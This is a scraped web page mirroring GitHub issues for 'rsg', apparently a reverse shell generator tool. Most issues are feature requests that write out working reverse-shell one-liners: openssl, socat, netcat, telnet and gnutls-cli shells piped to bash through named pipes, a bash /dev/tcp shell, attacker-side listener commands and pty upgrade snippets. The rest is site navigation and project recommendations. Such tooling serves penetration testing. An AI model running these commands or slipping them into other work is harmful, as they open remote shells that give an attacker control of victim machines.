Git Product home page Git Product logo

rsg's Introduction

rsg's People

Contributors

arty-hlr avatar crossedwires avatar filippolauria avatar jackrendor avatar mthbernardes avatar rajchowdhury420 avatar roguepullrequest avatar tib3rius avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

rsg's Issues

Feature request - SSL/TLS encrypted reverse shell using openssl

Hello,
one of my favourite tools for reverse shell is openssl - present on many *nix platforms.

Attacker:
openssl req -x509 -sha256 -newkey rsa:4096 -keyout server.pem -out server.pem -days 10000 -nodes
openssl s_server -cert server.pem -port 8080

Victim:
rm -f /tmp/p; mkfifo /tmp/p ; openssl s_client -connect localhost:8080 -quiet 2>/dev/null 0</tmp/p | bash 1> /tmp/p

Feature request - socat

Far best option is to use socat for listening and hosting side:

attacker$ socat file:`tty`,raw,echo=0 tcp-listen:8080,fork

victim$   socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:127.0.0.1:8080,forever &

Feature request - include the switch to pseudo terminal

It is possible to use python pty module to switch the existing or new reverse shell session and have nearly terminal like experience:

python -c 'import pty; pty.spawn("/bin/bash")'

It can be executed in running netcat/telnet/bash session or directly at execution:

rm -f /tmp/backpipe; mkfifo /tmp/backpipe; nc 127.0.0.1 8080 </tmp/backpipe | python -c 'import pty; pty.spawn("/bin/bash")' 1>/tmp/backpipe 2>&1 &

It would be handy to have this snippet at hand in rsg.

Feature request - SSL/TLS using gnutls-cli on victim

Attacker:

certtool --generate-privkey --outfile gtlsserver.pem
certtool --generate-self-signed --load-privkey gtlsserver.pem  --outfile gtlsserver-cert.pem
socat `tty`,raw,echo=0 openssl-listen:8080,reuseaddr,cert=server.pem,verify=0

Victim (ignore first 32 lines):

rm -f /tmp/p ; mkfifo /tmp/p ;
gnutls-cli --debug=0 --insecure localhost:8080 0< /tmp/p | \
( head -n 32  > /dev/null ; bash -i ) 1>/tmp/p 2>&1

Some fixing of terminal is desired within the shell session:

python -c 'import pty; pty.spawn("/bin/bash")'
eval `resize`
reset

Telnet reverse shell has typo

There is:

TELNET REVERSE SHELL
rm -f /tmp/p; mknod /tmp/p p && telnet 127.0.0.1 8080 0/tmp/p

While there should be something like:

TELNET REVERSE SHELL
rm -f /tmp/p; mknod /tmp/p p && telnet 127.0.0.1 8080 0</tmp/p | bash -i 1>/tmp/p

Why remove the option to listen on an interface?

Hi,

A few years ago I made a pull request adding some QoL features, including being able to give an interface to listen on (#13). I didn't check again until I fixed the issue of nc listening on a random port on my fork, and then noticed that there was another commit from @CrossedWires after the PR that squashed being able to give an interface to listen on (ad0ac3a).

Why remove that option? Why can't it do both? In the end that commit also checked that the IP was bound to an an interface, so why not allow giving it an interface as well as an IP?

ifconfig has been depracated

rsg/rsg

Line 19 in dfa68c4

output = check_output(['ifconfig']).decode()

At the title says that ifconfig has been deprecated for a very long time and becoming less and less available on systems. Could there be a better way to do this?

stderr on bash

Hey,

you might want to update the interactive bash version to support stderr :)

bash -i > /dev/tcp/127.0.0.1/12345 2>&1 <&1

rsg listener

Hello,
Not sure where to contact you for this, but im having issues with rsg where when I finish the command and it asks to open up a listener automatically, it doesnt connect when copying and pasting the command.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    πŸ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. πŸ“ŠπŸ“ˆπŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❀️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.